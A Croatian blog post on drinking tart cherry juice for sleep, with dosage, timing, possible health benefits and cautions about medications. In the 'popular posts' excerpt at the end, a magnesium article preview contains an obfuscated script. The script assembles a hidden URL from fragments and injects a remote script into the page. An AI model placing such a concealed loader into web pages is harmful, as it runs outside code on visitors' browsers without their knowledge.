SOK OD KISELIH VIŠANJA - SPAS ZA SPAVANJE





Sok od kiselih višanja - spas za spavanje



Dok neki prije spavanja posežu za toplim mlijekom, biljnim čajem ili dodatkom melatonina, društvenim mrežama posljednjih mjeseci kruži jedan sasvim drukčiji večernji ritual. Riječ je o soku od kiselih višanja.




Koliko soka treba popiti za mogući učinak?

Prema dostupnim podacima, za potencijalni učinak na san dovoljno je popiti između 2,5 i 3,5 decilitara soka od kiselih višanja dnevno, odnosno otprilike jednu do jednu i pol čašu. Ako se koristi koncentrat, preporučena količina obično iznosi između 30 i 60 mililitara. Stručnjaci savjetuju da se počne s manjom količinom kako bi se vidjelo kako organizam reagira, a zatim se po potrebi doza može prilagoditi.

Najčešća preporuka je popiti sok jedan do dva sata prije odlaska na spavanje. Tako organizam ima dovoljno vremena iskoristiti melatonin i triptofan koje napitak sadrži.

Zanimljivo je da neka istraživanja pokazuju kako koristi nisu nužno ograničene samo na večernje sate. Određeni pozitivni učinci na kvalitetu sna zabilježeni su i kod osoba koje su sok pile ranije tijekom dana, no večernja konzumacija i dalje se smatra najlogičnijim izborom za one koji žele poboljšati rutinu prije spavanja.



Potencijalni učinci na oporavak i zdravlje

Priča o kiselim višnjama ne završava samo u spavaćoj sobi. Posljednjih godina ovaj je voćni napitak postao popularan i među rekreativcima te profesionalnim sportašima. Prva istraživanja sugeriraju da bi sok od kiselih višanja mogao pomoći oporavku mišića nakon intenzivne tjelesne aktivnosti te smanjiti osjećaj upale i bolova nakon treninga. Znanstvenici također proučavaju njegov potencijalni utjecaj na imunološki sustav, osobito kod osoba koje se bave sportovima izdržljivosti.

Zahvaljujući antioksidansima i protuupalnim spojevima koje sadrži, ovaj napitak povezuje se i sa smanjenjem određenih upalnih markera u organizmu. Neka istraživanja sugeriraju i moguću korist za zdravlje srca i krvnih žila. Snižavanje krvnog tlaka i kolesterola moglo bi dugoročno pomoći očuvanju kognitivnih funkcija i smanjenju rizika od kognitivnog pada u starijoj dobi, iako su za zaključke potrebna dodatna istraživanja.



Oprez

Kao i kod svake namirnice, ni sok od kiselih višanja nije idealan za svakoga. Iako rijetko, moguće su alergijske reakcije, čak i kod osoba koje ranije nisu imale problema s konzumacijom višanja. Važno je obratiti pozornost i na sadržaj ugljikohidrata i prirodnih šećera. To posebno vrijedi za osobe koje imaju dijabetes ili slijede prehranu s ograničenim unosom ugljikohidrata.

Iako za sada nisu potvrđene značajne interakcije između soka od kiselih višanja i lijekova, stručnjaci preporučuju oprez osobama koje uzimaju terapiju za kronične bolesti. Posebno se savjetuje konzultacija s liječnikom kod osoba koje uzimaju lijekove za razrjeđivanje krvi, lijekove za epilepsiju, dijabetes ili povišeni krvni tlak, kao i kod osoba koje koriste imunosupresive ili redovito uzimaju dodatke melatonina.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više